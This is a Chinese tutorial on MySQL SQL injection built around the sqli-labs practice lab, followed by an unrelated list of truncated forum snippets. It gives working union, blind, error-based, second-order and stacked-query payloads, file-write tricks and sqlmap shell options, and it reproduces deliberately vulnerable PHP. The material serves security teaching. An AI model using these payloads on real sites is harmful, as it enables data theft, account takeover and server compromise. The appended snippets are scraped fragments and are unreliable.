- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
mysql注入目的:获取当前web权限 。
@@version_compile_os //查看当前数据库所在服务器系统
用户----Root/普通用户(存在root权限与否) 。
user() //查看当前接入数据库用户
数据库名--为后面猜解数据表、列名、数据做准备 。
database() //查看当前接入数据库名称
数据库版本--是否存在information_schema默认库 。
version() //查看当前接入数据库版本
information_schema
存储MYSQL服务中所有数据库的数据库名、表名、列名的数据库
information_schema.schemata
记录MYSQL服务中所有数据库名的数据表
schema_name
information_schema.schemata中记录数据库名称的列名
information_schema.tables
记录MYSQL服务中所有数据表信息的数据表
table_schema
information_schema.tables中记录数据库名称的列名
table_name
information_schema,tables中记录数据表名称的列名
information_schema.columns
记录MYSQL服务中所有列名信息的数据表
column_name
information_schema.columns中记录列名信息的列名
手工注入: 使用order by(根据第几个字段排序)判断字段个数 以sqli-labs靶场举例当order by 3时回显正常,order by 4 数据库报错 。
使用select 1,2,3,4,5这样的方法查看数据回显位置,通过注入语句可知,2、3的位置为数据回显位置 。
通过user()、databases()函数查看当前用户和数据库名称 通过@@version_compile_os、version()查看数据库所在操作系统和数据库版本信息 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查询该数据库中的表 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查询表中列名 union select 1,username,password from users--+查询数据 。
当Web站点服务器使用Root权限用户统一管理MYSQL服务,服务器中部署的其他站点也可以通过information_schema数据库进行数据查询 。
在使用sql语句注入时可以利用mysql数据库中内置函数对服务器中的文件进行读写操作,从而达到获取权限的目标 。
load_file()
加载文件内容
into outfile
将数据信息导入文件
文件读写操作受条件影响 。
id=-1' union select%201,load_file('c:/1.txt'),3--+读取服务器中C盘的1.txt文件 。
id=-1' union select 1,2,';' into outfile 'c:/1.php' --+将查询内容输出到指定文件 在进行文件读写时,受限制因素太多,因此很难实现 。
在开发者进行编写sql语句进行查询时,由于传参的数据类型或者slq语句写法不同导致sql注入拼接失败 。
select * from news where id=$id;
在没有符号干扰的情况下可以直接进行注入 2. 字符型(单引号干扰) 。
select * from news where id='$id';
由于传参值可能是字符型,因此传参值要用引号括起来,在进行sql注入时要进行sql语句闭合 。
?id=1' union select 1,2,3,4,5,6 --+
?id=1' union select 1,2,3,4,5,6 and '1'='1
select * from news where id like '%$id%';
拼接语句可成为 。
?id=1%' union select 1,2,3,4,5,6 --+
?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
select * from news where id=('1');
select * from news where (id='1');
拼接语句为 。
?id=-1') union select 1,2,3,4,5,6--+
?id=-1') union select 1,2,3,4,5,6 and ('1')=('1
全局变量方法:GET POST SERVER FILES HTTP头等 User-Agent: 使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中) Cookie: 网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]). Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的. Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号 。
如功能点:
PHP-MYSQL-数据请求格式 1、数据采用统一格式传输,后端进行格式解析带入数据库(json) 2、数据采用加密编码传输,后端进行解密解码带入数据库(base64) 。
盲注就是在程序设计过程中,由于一些原因,数据库所查询的数据不会进行回显,这个时候我们就需要使用一些方法进行判断.
?id=1' and length(database())=8--+
?id=1' and length(database())>8--+
?id=1' and left(database(),1)='s'--+
?id=1' and left(database(),2)='se'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))>115--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
?id=1' and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+
-count()猜解指定表中的字段数量 。
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
-length()查询指定数据表中的指定字段名称的长度 。
?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
-left()猜解指定表中指定字段的名称 。
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+
-length()猜解数据长度 。
?id=1'and length((select username from users limit 0,1))=4--+
-ascii()&left()猜解数据 。
?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
报错注入有很多方法,但是由于数据库版本问题等,上述两个函数是最常用的,更多注入方法可以参考 12种报错注入+万能语句 3. 延时注入 延时注入是通过sleep()函数和if()函数联动,判断输入条件的true或flase使数据库执行sleep()函数进行延时查询,从而判断输入条件的true或flase。 例如:通过判断if语句中第一个条件是否为true,true执行sleep(3),flase执行sleep(),通过判断页面加载是否有延时而了解语句执行的结果,通常执行语句与布尔注入相结合.
?id=1' and if(1=1,sleep(3),sleep(0))--+
总结 使用场景:
二次注入的意思是指,当用户输入恶意sql语句,将恶意sql语句在进行输入的时候由于过滤或者转义等各种原因,sql语句在存入数据库的时候并不会触发,当Web页面为了实现某种功能再次调用该sql语句时,由于没有再次过滤或者转移,从而导致恶意sql语句被执行,实现二次注入。 以sqli-libs中Less24为例 注入过程大致为,在登陆界面创建用户时候在用户名选项中输入不会触发执行的恶意sql语句,这时服务器通过转义将恶意sql语句存放入数据库,在用户创建成功后登录后进行密码修改,在密码修改时,服务器会带调用用户名选项数据但不会进行转义从而实现sql注入的原理 。
创建用户源代码,其中这创建用户的功能实现了将恶意sql语句注入数据库,但不会触发的条件 。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
?>
关键代码 。
$username= mysql_escape_string($_POST['username']) ;
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
变量$username 为接受POST表单发送过来的username并使用mysql_escape_string()函数进行过滤,该函数并不转义%和_,它和mysql_real_escape_string()函数差不多,但是在php5.5被废弃,php7.0中被移除。具体讲解参考 mysql_real_escape_string和mysql_escape_string有什么本质的区别,有什么用处,为什么被弃用? 其中在$sql中$username和$pass两旁都使用了左斜杠将双引号进行转义,目的是为了避免sql解释器将双引号当作sql语句的结束符 所以在此处可以通过$username插入恶意代码,由于转移函数的原因恶意代码并不会执行或导致sql语句错误无法执行 。
修改密码部分源代码 。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
关键代码 。
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
$curr_pass接受修改密码前的密码用于校验未修改时的密码是否正确 $pass和$re_pass接受为新密码和新密码的确认 $sql为接受数据后修改密码的语句,由该语句分析可知在进行密码修改更新数据库的时候需要调用$username去寻找被修改用户的密码,当数据库调用$username时,我们在注册用户时所输入的恶意sql语句就会执行 。
注入过程 首先构造payload,创建用户名为admin'#,单引号目的修改密码时候用于闭合修改密码的sql语句,#号在注册用户过程中会因为过滤函数过滤掉,不影响注册过程,在修改密码过程中注释掉验证 当前密码的语句,所以最终创建的用户名为admin'#,密码设置为123456 成功插入数据库中 。
修改密码 由于二次注入调用变量$username时将验证当前密码是否正确的部分给注释掉了,所以在修改密码时当前密码可以随便输。 密码修改成功 。
在进行修改密码时候的sql语句实际上就变成了修改admin的密码 。
$sql = "UPDATE users SET PASSWORD='test' where username='admin'#' and password='wqdscdf' ";
进入数据库查看admin用户密码是否被修改 。
堆叠注入就是通过结束符同时执行多条sql语句, 例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行. 以sqli-lib Less-38为例 源代码 。
<?php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
?>
关键代码 。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
该sql语句使用了mysqli_multi_query()函数去执行sql语句,支持多条sql语句一起执行,经过分析$sql语句,在注入过程中只需要使用单引号和分号将sql语句进行闭合,添加要执行的语句并在最后添加注释符将原sql语句中的limit注释即可 注入语句为 。
?id=1';insert into users(`id`,`username`,`password`) values(17,'hack','hack')--+
查看注入结果 。
详细文章参考 sqlmap超详细笔记+思维导图 在对注入点进行sql注入时,首先需要判断注入点的用户权限,以权限高低来判断我们的后续操作 。
--is-dba #是否是数据库管理员
--privileges #查看用户权限
--users #查看所有用户
--current-user #查看当前用户
--sql-shell #执行sql命令
--file-read #文件读取
--file-write "本地文件" --file-dest "写入地址" #文件写入
--os-cmd= #单次执行系统命令
--os-shell #交互式执行系统命令
--current-db #当前数据库
--dbs #所有数据库
--tables -D"库名" #指定库下所有表
--columns -T"表名" -D"库名" #指定库下指定表中所有字段名
-C "字段名" -T"表名" -D"库名" --dump #报出指定字段中的数据
-r "数据包文件地址" #数据包注入
--tamper"模块名称" #使用tamper模块注入
-v"1-6" #显示详细等级
--user-agent "" #自定义user-agent
--random-agent #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--proxy #使用代理注入
最后此篇关于Web通用漏洞--sql注入的文章就讲到这里了,如果你想了解更多关于Web通用漏洞--sql注入的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我正在尝试测试依赖于其他服务 authService 的服务 documentViewer angular .module('someModule') .service('docu
如果我的网站上线(不要认为它会,目前它只是一个学习练习)。 我一直在使用 mysql_real_escape_string();来自 POST、SERVER 和 GET 的数据。另外,我一直在使用 i
我有以下代码,它容易受到 SQL 注入(inject)的攻击(我认为?): $IDquery = mysqli_query($connection, "SELECT `ID` FROM users W
我一直在自学如何创建扩展,以期将它们用于 CSS 注入(inject)(以及最终以 CSS 为载体的 SVG 注入(inject),但那是以后的问题)。 这是我当前的代码: list .json {
这个简单的代码应该通过 Java Spring 实现一个简单的工厂。然而结果是空指针,因为 Human 对象没有被注入(inject)对象(所以它保持空)。 我做错了什么? 谢谢 配置 @Config
我正在编写一个 ASP.NET MVC4 应用程序,它最终会动态构建一个 SQL SELECT 语句,以便稍后存储和执行。动态 SQL 的结构由用户配置以用户友好的方式确定,具有标准复选框、下拉列表和
首先让我说我是我为确保 SQL 注入(inject)攻击失败而采取的措施的知己。所有 SQL 查询值都是通过事件记录准备语句完成的,所有运算符(如果不是硬编码)都是通过数字白名单系统完成的。这意味着如
这是 SQL 映射声称可注入(inject)的负载: user=-5305' UNION ALL SELECT NULL,CONCAT(0x716b6b7071,0x4f5577454f76734
我正在使用 Kotlin 和 Android 架构组件(ViewModel、LiveData)构建一个新的 Android 应用程序的架构,并且我还使用 Koin 作为我的依赖注入(inject)提供
假设 RequestScope 处于 Activity 状态(使用 cdi-unit 的 @InRequestScope) 给定 package at.joma.stackoverflow.cdi;
我有一个搜索表单,可以在不同的提供商中搜索。 我从拥有一个基本 Controller 开始 public SearchController : Controller { protected r
SQLite 注入 如果您的站点允许用户通过网页输入,并将输入内容插入到 SQLite 数据库中,这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生,确保脚
我可以从什么 dll 中获得 Intercept 的扩展?我从 http://github.com/danielmarbach/ninject.extensions.interception 添加了
使用 NInject 解析具有多个构造函数的类似乎不起作用。 public class Class1 : IClass { public Class1(int param) {...} public
我有一个 MetaManager 类: @Injectable() export class MetaManager{ constructor(private handlers:Handler
我是 Angular 的新手,我不太清楚依赖注入(inject)是如何工作的。我的问题是我有依赖于服务 B 的服务 A,但是当我将服务 A 注入(inject)我的测试服务 B 时,服务 B 变得未定
我正在为我的项目使用 android 应用程序启动、刀柄和空间。我在尝试排队工作时遇到错误: com.test E/WM-WorkerFactory: Could not instantiate co
我不确定这是什么糖语法,但让我向您展示问题所在。 def factors num (1..num).select {|n| num % n == 0} end def mutual_factors
简单的问题,我已经看过这个了:Managing imports in Scalaz7 ,但我不知道如何最小化注入(inject) right和 left方法到我的对象中以构造 \/ 的实例. 我确实尝
在我的 Aurelia SPA 中,我有一些我想在不同模块中使用的功能。它依赖于调用时给出的参数和单例的参数。有没有办法创建一个导出函数,我可以将我的 Auth 单例注入(inject)其中,而不必在
我是一名优秀的程序员,十分优秀!